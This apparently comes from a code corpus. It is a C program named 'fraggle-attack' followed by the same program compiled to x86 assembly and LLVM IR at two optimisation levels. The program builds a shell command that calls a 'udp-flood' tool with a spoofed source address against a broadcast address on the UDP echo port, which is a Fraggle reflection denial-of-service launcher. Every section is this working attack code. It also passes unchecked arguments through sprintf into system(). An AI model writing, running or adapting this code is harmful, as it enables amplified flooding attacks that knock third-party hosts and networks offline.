#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
unsigned int atoi(char *);
int /*<<< orphan*/ exit(int /*<<< orphan*/);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *);
int /*<<< orphan*/ free(char *);
scalar_t__ malloc(int);
int /*<<< orphan*/ sprintf(char *, char *, char *, char *, char *,
                           unsigned int);
int /*<<< orphan*/ stdout;
int /*<<< orphan*/ system(char *);
int main(int argc, char *argv[]) {
  if (argc != 9) {
    fprintf(stdout, "\nUsage: fraggle-attack --source-addr saddr "
                    "--broadcast-addr raddr --source-port rport --n N\n");
    exit(0);
  }
  char *source_address = argv[2];
  char *broadcast_address = argv[4];
  char *source_port = argv[6];
  unsigned int iter = atoi(argv[8]);
  char *cli = (char *)malloc(1000);
  sprintf(cli,
          "./udp-flood --source-addr %s --remote-addr %s --source-port %s "
          "--remote-port 7 --n %d",
          source_address, broadcast_address, source_port, iter);
  system(cli);
  free(cli);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x40,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
cmpl   $0x9,-0x8(%rbp)
je     11ac <main+0x3c>
mov    0x2e49(%rip),%rax
mov    (%rax),%edi
lea    0xe60(%rip),%rsi
call   1050 <fprintf@plt>
xor    %edi,%edi
call   1090 <exit@plt>
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rax
mov    %rax,-0x18(%rbp)
mov    -0x10(%rbp),%rax
mov    0x20(%rax),%rax
mov    %rax,-0x20(%rbp)
mov    -0x10(%rbp),%rax
mov    0x30(%rax),%rax
mov    %rax,-0x28(%rbp)
mov    -0x10(%rbp),%rax
mov    0x40(%rax),%rdi
call   1070 <atoi@plt>
mov    %eax,-0x2c(%rbp)
mov    $0x3e8,%edi
call   1060 <malloc@plt>
mov    %rax,-0x38(%rbp)
mov    -0x38(%rbp),%rdi
mov    -0x18(%rbp),%rdx
mov    -0x20(%rbp),%rcx
mov    -0x28(%rbp),%r8
mov    -0x2c(%rbp),%r9d
lea    0xe54(%rip),%rsi
call   1080 <sprintf@plt>
mov    -0x38(%rbp),%rdi
call   1040 <system@plt>
mov    -0x38(%rbp),%rdi
call   1030 <free@plt>
xor    %eax,%eax
add    $0x40,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r12
push   %rbx
cmp    $0x9,%edi
jne    11d7 <main+0x67>
mov    0x10(%rsi),%r12
mov    0x20(%rsi),%r14
mov    0x30(%rsi),%r15
mov    0x40(%rsi),%rdi
call   1070 <atoi@plt>
mov    %eax,%ebp
mov    $0x3e8,%edi
call   1060 <malloc@plt>
mov    %rax,%rbx
lea    0xeb5(%rip),%rsi
mov    %rax,%rdi
mov    %r12,%rdx
mov    %r14,%rcx
mov    %r15,%r8
mov    %ebp,%r9d
call   1080 <sprintf@plt>
mov    %rbx,%rdi
call   1040 <system@plt>
mov    %rbx,%rdi
call   1030 <free@plt>
xor    %eax,%eax
pop    %rbx
pop    %r12
pop    %r14
pop    %r15
pop    %rbp
ret
mov    0x2e02(%rip),%rax
mov    (%rax),%edi
lea    0xe19(%rip),%rsi
call   1050 <fprintf@plt>
xor    %edi,%edi
call   1090 <exit@plt>

LLVM IR (-O0):
@stdout = global i32 0
@.str = [93 x i8] c"\0AUsage: fraggle-attack --source-addr saddr --broadcast-addr raddr --source-port rport --n N\0A\00"
@.str.1 = [86 x i8] c"./udp-flood --source-addr %s --remote-addr %s --source-port %s --remote-port 7 --n %d\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i8*
%7 = alloca i8*
%8 = alloca i8*
%9 = alloca i32
%10 = alloca i8*
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%11 = load i32, i32* %4
%12 = icmp ne i32 %11, 9
br i1 %12, label %13, label %17
13: ; preds = %2
%14 = load i32, i32* @stdout
%15 = call i32 @fprintf(i32 %14, i8* getelementptr inbounds ([93 x i8], [93 x i8]* @.str, i64 0, i64 0))
%16 = call i32 @exit(i32 0)
unreachable
17: ; preds = %2
%18 = load i8**, i8*** %5
%19 = getelementptr inbounds i8*, i8** %18, i64 2
%20 = load i8*, i8** %19
store i8* %20, i8** %6
%21 = load i8**, i8*** %5
%22 = getelementptr inbounds i8*, i8** %21, i64 4
%23 = load i8*, i8** %22
store i8* %23, i8** %7
%24 = load i8**, i8*** %5
%25 = getelementptr inbounds i8*, i8** %24, i64 6
%26 = load i8*, i8** %25
store i8* %26, i8** %8
%27 = load i8**, i8*** %5
%28 = getelementptr inbounds i8*, i8** %27, i64 8
%29 = load i8*, i8** %28
%30 = call i32 @atoi(i8* %29)
store i32 %30, i32* %9
%31 = call i64 @malloc(i32 1000)
%32 = inttoptr i64 %31 to i8*
store i8* %32, i8** %10
%33 = load i8*, i8** %10
%34 = load i8*, i8** %6
%35 = load i8*, i8** %7
%36 = load i8*, i8** %8
%37 = load i32, i32* %9
%38 = call i32 @sprintf(i8* %33, i8* getelementptr inbounds ([86 x i8], [86 x i8]* @.str.1, i64 0, i64 0), i8* %34, i8* %35, i8* %36, i32 %37)
%39 = load i8*, i8** %10
%40 = call i32 @system(i8* %39)
%41 = load i8*, i8** %10
%42 = call i32 @free(i8* %41)
ret i32 0
}

LLVM IR (-O2):
@stdout = global i32 0
@.str = [93 x i8] c"\0AUsage: fraggle-attack --source-addr saddr --broadcast-addr raddr --source-port rport --n N\0A\00"
@.str.1 = [86 x i8] c"./udp-flood --source-addr %s --remote-addr %s --source-port %s --remote-port 7 --n %d\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = icmp eq i32 %0, 9
br i1 %3, label %8, label %4
4: ; preds = %2
%5 = load i32, i32* @stdout
%6 = tail call i32 @fprintf(i32 %5, i8* getelementptr inbounds ([93 x i8], [93 x i8]* @.str, i64 0, i64 0))
%7 = tail call i32 @exit(i32 0)
unreachable
8: ; preds = %2
%9 = getelementptr inbounds i8*, i8** %1, i64 2
%10 = load i8*, i8** %9
%11 = getelementptr inbounds i8*, i8** %1, i64 4
%12 = load i8*, i8** %11
%13 = getelementptr inbounds i8*, i8** %1, i64 6
%14 = load i8*, i8** %13
%15 = getelementptr inbounds i8*, i8** %1, i64 8
%16 = load i8*, i8** %15
%17 = tail call i32 @atoi(i8* %16)
%18 = tail call i64 @malloc(i32 1000)
%19 = inttoptr i64 %18 to i8*
%20 = tail call i32 @sprintf(i8* dereferenceable(1) %19, i8* dereferenceable(1) getelementptr inbounds ([86 x i8], [86 x i8]* @.str.1, i64 0, i64 0), i8* %10, i8* %12, i8* %14, i32 %17)
%21 = tail call i32 @system(i8* %19)
%22 = tail call i32 @free(i8* %19)
ret i32 0
}